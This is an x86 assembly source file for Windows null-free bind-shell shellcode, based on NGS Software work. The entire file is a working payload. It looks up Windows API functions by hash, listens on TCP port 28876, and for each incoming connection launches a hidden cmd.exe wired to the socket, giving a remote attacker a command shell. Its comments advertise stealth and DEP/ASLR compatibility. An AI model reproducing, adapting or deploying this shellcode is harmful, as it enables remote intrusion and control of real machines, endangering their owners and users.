BITS 32
; Windows x86 null-free bindshell for Windows 5.0-6.0 all service packs.
; (See http://skypher.com/wiki/index.php/Hacking/Shellcode/Bind/NGS).
; Based largely on code and ideas (C) 2005 by Dafydd Stuttard, NGS Software.
; (See http://www.ngssoftware.com/papers/WritingSmallShellcode.pdf).
; Thanks to Pete Beck.
;
; Features both in this and the original code:
; + NULL Free
; + Windows version and service pack independant.
; Improvements of this code over the original:
; + No assumptions are made about the values of registers.
; + "/3GB" compatible: pointers are not assume to be smaller than 0x80000000.
; + DEP/ASLR compatible: data is not executed, code is not modified.
; + Windows 7 compatible: kernel32 is found based on the length of its name.
; + Stealth: does not display a console windows on the target machine when
; cmd.exe is executed.
; + Allows an unlimited number of consecutive connections.
; + Can except connections on almost any port. The range of acceptable port
; numbers is only limited by the fact that the negative value of the port
; number must not contain nulls.
port equ 28876 ; The port number to bind to.
%if ((-port & 0xFF) == 0) || (-port & 0xFF00 == 0)
%error The given port number would result in NULLs in the code :(
%endif
AF_INET equ 2
; These hashes are calculated with a separate tool.
hash_kernel32_CreateProcessA equ 0x81
hash_kernel32_LoadLibraryA equ 0x59
hash_ws2_32_WSAStartup equ 0xD3
hash_ws2_32_WSASocket equ 0x62
hash_ws2_32_bind equ 0x30
hash_ws2_32_listen equ 0x20
hash_ws2_32_accept equ 0x41
sizeof_proc_address_table equ 7 * 4
offset_WSAStartup_in_hash_table equ 2
%define B2W(b1,b2) (((b2) << 8) + (b1))
%define W2DW(w1,w2) (((w2) << 16) + (w1))
%define B2DW(b1,b2,b3,b4) (((b4) << 24) + ((b3) << 16) + ((b2) << 8) + (b1))
start:
XOR ECX, ECX ; ECX = 0
; Find base address of kernel32.dll. This code should work on Windows 5.0-7.0
MOV ESI, [FS:ECX + 0x30] ; ESI = &(PEB) ([FS:0x30])
MOV ESI, [ESI + 0x0C] ; ESI = PEB->Ldr
MOV ESI, [ESI + 0x1C] ; ESI = PEB->Ldr.InInitOrder (first module)
next_module:
MOV EBP, [ESI + 0x08] ; EBP = InInitOrder[X].base_address
MOV EDI, [ESI + 0x20] ; EDI = InInitOrder[X].module_name (unicode string)
MOV ESI, [ESI] ; ESI = InInitOrder[X].flink (next module)
CMP [EDI + 12*2], CL ; modulename[12] == 0 ? strlen("kernel32.dll") == 12
JNE next_module ; No: try next module.
; Create hash table and "ws2_32" (for LoadLibraryA) on the stack:
PUSH BYTE '2' ; Stack = "2"
PUSH B2DW('s', '2', '_', '3') ; Stack = "s2_32"
PUSH B2DW(hash_ws2_32_bind, hash_ws2_32_listen, hash_ws2_32_accept, 'w') ; hash, hash, "ws2_32"
end_of_hash_table_marker equ 'w'
PUSH B2DW(hash_kernel32_CreateProcessA, hash_kernel32_LoadLibraryA, hash_ws2_32_WSAStartup, hash_ws2_32_WSASocket)
sizeof_hash_table equ 7
MOV ESI, ESP ; ESI -> Hash table
; Reserve space for WSADATA
MOV CH, 0x3 ; ECX = 0x300
SUB ESP, ECX ; Reserve space for WSADATA
; Create a bunch of NULLs on the stack
SUB ESP, ECX ; Reserve space for NULLs
MOV EDI, ESP ; EDI = &(NULLs)
SALC ; AL = 0
REP STOSB ;
; Prepare arguments for various functions on the stack:
; WSASocket(__in int af=2, __in int type=1, __in int protocol=0,
; __in LPWSAPROTOCOL_INFO lpProtocolInfo=0, __in GROUP g=0,
; __in DWORD dwFlags=0)
; __in LPWSAPROTOCOL_INFO lpProtocolInfo=0
; __in GROUP g=0
; __in DWORD dwFlags=0
; __in int protocol=0
INC ECX ;
PUSH ECX ; __in int type = SOCK_STREAM (1)
INC ECX ;
PUSH ECX ; __in int af = AF_INET (2)
; WSAStartup(__in WORD wVersionRequested=2, __out LPWSADATA lpWSADATa=stack)
PUSH EDI ; __out LPWSADATA lpWSAData = &(WSADATA)
PUSH ECX ; __in WORD wVersionRequested = 2 (2.0)
; Set up EDI so that a proc addresses table can be created in the NULLs,
; followed by sufficient space to store a struct sockaddr_in:
SUB EDI, BYTE sizeof_proc_address_table + sizeof_sockaddr_in
get_proc_address_loop:
MOVSB ; [EDI] = hash
DEC EDI ; Restore EDI
; Find the PE header and export and names tables of the module:
MOV EBX, [EBP + 0x3C] ; EBX = &(PE header)
MOV EBX, [EBP + EBX + 0x78] ; EBX = offset(export table)
ADD EBX, EBP ; EBX = &(export table)
MOV ECX, [EBX + 0x20] ; ECX = offset(names table)
ADD ECX, EBP ; ECX = &(names table)
PUSH ESI ; Save ESI
; Hash each function name and check it against the requested hash:
XOR EDX, EDX ; EDX = function number (0)
next_function_loop:
; Get the next function name:
INC EDX ; Increment function number
MOV ESI, [ECX + EDX * 4] ; ESI = offset(function name)
ADD ESI, EBP ; ESI = &(function name)
XOR EAX, EAX ; EAX = 0
hash_loop:
; Hash the function name:
LODSB ; Load a character of the function name
XOR AL, 0x71 ; Calculate a hash
SUB AH, AL ;
CMP AL, 0x71 ; Is this the terminating 0 byte?
JNE hash_loop ; No: continue hashing
CMP AH, [EDI] ; Yes: Does the hash match ?
; Check if the hash matches and loop if not:
JNZ next_function_loop
POP ESI ; Restore ESI
; Find the address of the requested function:
MOV ECX, [EBX + 0x24] ; ECX = offset ordinals table
ADD ECX, EBP ; ECX = &oridinals table
MOVZX EDX, WORD [ECX + 2 * EDX] ; EDX = ordinal number of function
MOV ECX, [EBX + 0x1C] ; ECX = offset address table
ADD ECX, EBP ; ECX = &address table
MOV EAX, EBP ; EAX = &(module)
ADD EAX, [ECX + 4 * EDX] ; EAX = &(function)
; Save the address of the requested function:
STOSD ; Save proc address
; When needed, call LoadLibraryA to start looking for ws2_32.dll functions:
CMP BYTE [ESI], hash_ws2_32_WSAStartup ; We just found LoadLibraryA
JNE skip_load_library ;
LEA EBX, [ESI - offset_WSAStartup_in_hash_table + sizeof_hash_table]
PUSH EBX ; __in LPCTSTR lpFileName = &("ws2_32")
CALL EAX ; LoadLibraryA(&"ws2_32")
PUSH EDI ; Save proc address table[WSAStartup]
XCHG EAX, EBP ; EBP = &(ws2_32.dll)
skip_load_library:
; Continue until all hashes have been found:
CMP BYTE [ESI], end_of_hash_table_marker
JNE get_proc_address_loop ;
POP ESI
; Call WSAStartup (Arguments are already on the stack)
LODSD
CALL EAX ; WSASTARTUP
; Call WSASocket (Arguments are already on the stack)
LODSD
CALL EAX
XCHG EAX, EBP ; EBP = Server socket
; Create a struct sockaddr_in on the stack for use by bind()
sizeof_sockaddr_in equ 2 + 2 + 4 + 8
SUB DWORD [EDI], -W2DW( AF_INET, B2W(port >> 8, port & 0xFF)); sin_family = AF_INET, sin_port = (port, little endian!)
; Set up the 2nd and 3rd argument for bind:
; bind(__in SOCKET s=(added later), __in const struct sockaddr *name, __in int namelen)
PUSH BYTE 0x10 ; __in int namelen = 0x10
PUSH EDI ; __in const struct sockaddr *name = &(sockaddr_in)
; bind(), listen() and accept() all take the server socket as their first
; argument. listen() and accept() only need NULLs for the remaining arguments
; and the arguments for bind() are already on the stack. Because bind() and
; accept() return 0 and listen() returns a socket, which is not 0, a loop can be
; used to call them:
; listen(__in SOCKET s=(added later), __in int backlog=0)
; accept(__in SOCKET s=(added later), __in struct sockaddr *addr=0, __inout int *addrlen=0)
call_loop:
LODSD
accept_loop:
PUSH EBP ; __in SOCKET s = Server socket descriptor
CALL EAX
; Check if accept() has returned a socket:
TEST EAX, EAX
JZ call_loop
; Create structures on the stack for CreateProcessA
; STARTUPINFO {
; DWORD cb 00-03: >= sizeof(STARTUPINFO)
; LPTSTR lpReserved 04-07: 0
; LPTSTR lpDesktop 08-0B: 0
; LPTSTR lpTitle 0C-0F: 0
; DWORD dwX 10-13: 0
; DWORD dwY 14-17: 0
; DWORD dwXSize 18-1B: 0
; DWORD dwYSize 1C-1F: 0
; DWORD dwXCountChars 20-23: 0
; DWORD dwYCountChars 24-27: 0
; DWORD dwFillAttribute 28-2B: 0
; DWORD dwFlags 2C-2F: (STARTF_USESTD_HANDLES 0x100)
; WORD wShowWindow 30-31: 0
; WORD cbReserved2 32-33: 0
; LPBYTE lpReserved2 34-37: 0
; HANDLE hStdInput 38-3B: (Socket descriptor)
; HANDLE hStdOutput 3C-3F: (Socket descriptor)
; HANDLE hStdError 40-43: (Socket descriptor)
; }
sizeof_STARTUPINFO equ 0x44
offset_dwFlags_in_STARTUPINFO equ 0x2C
offset_hStdInput_in_STARTUPINFO equ 0x38
; Each call to accept() removes two DWORDS off the stack. These must be put back
; or ESP will run off the stack eventually:
XOR EDX, EDX ; EDX = 0
PUSH EDX ; Restore stack #1
; We'll also create a struct STARTUPINFO
PUSH B2DW('c', 'm', 'd', ' ') ; Restore stack #2 and STARTUPINFO.cb = "cmd " (> 0)
LEA EDI, [ESP + offset_hStdInput_in_STARTUPINFO]; EDI = &(STARTUPINFO.hStdInput)
STOSD ; STARTUPINFO.hStdInput = Socket descriptor
STOSD ; STARTUPINFO.hStdOutput = Socket descriptor
STOSD ; STARTUPINFO.hStdError = Socket descriptor
MOV BYTE [EDI - sizeof_STARTUPINFO + offset_dwFlags_in_STARTUPINFO + 1], 1 ; STARTUPINFO.dwFlags = STARTF_USESTDHANDLES (0x100)
; CreateProcess(...)
PUSH ESP ; __out LPPROCESS_INFORMATION lpProcessInformation == &(STARTUPINFO)
XCHG [ESP], EDI ; __out LPPROCESS_INFORMATION lpProcessInformation == &(STARTUPINFO) + sizeof(STARTUPINFO)
PUSH EDI ; __in LPSTARTUPINFO lpStartupInfo == &(STARTUPINFO)
PUSH EDX ; __in_opt LPCTSTR lpCurrentDirectory = NULL
PUSH EDX ; __in_opt LPVOID lpEnvironment = NULL
PUSH EDX ; __in DWORD dwCreationFlags = 0
MOV BYTE [EDI-5*4+3], 0x8 ; __in DWORD dwCreationFlags = CREATE_NO_WINDOW (0x08000000)
PUSH EDI ; __in BOOL bInheritHandles = TRUE (>0)
PUSH EDX ; __in_opt LPSECURITY_ATTRIBUTES lpThreadAttributes = NULL
PUSH EDX ; __in_opt LPSECURITY_ATTRIBUTES lpProcessAttributes = NULL
PUSH EDI ; __inout_opt LPTSTR lpCommandLine = &("cmd ")
PUSH EDX ; __in_opt LPCTSTR lpApplicationName = NULL
CALL [ESI - sizeof_proc_address_table]
; Load accept() into EAX and jump back into our code.
MOV EAX, [ESI - 4]
JMP accept_loop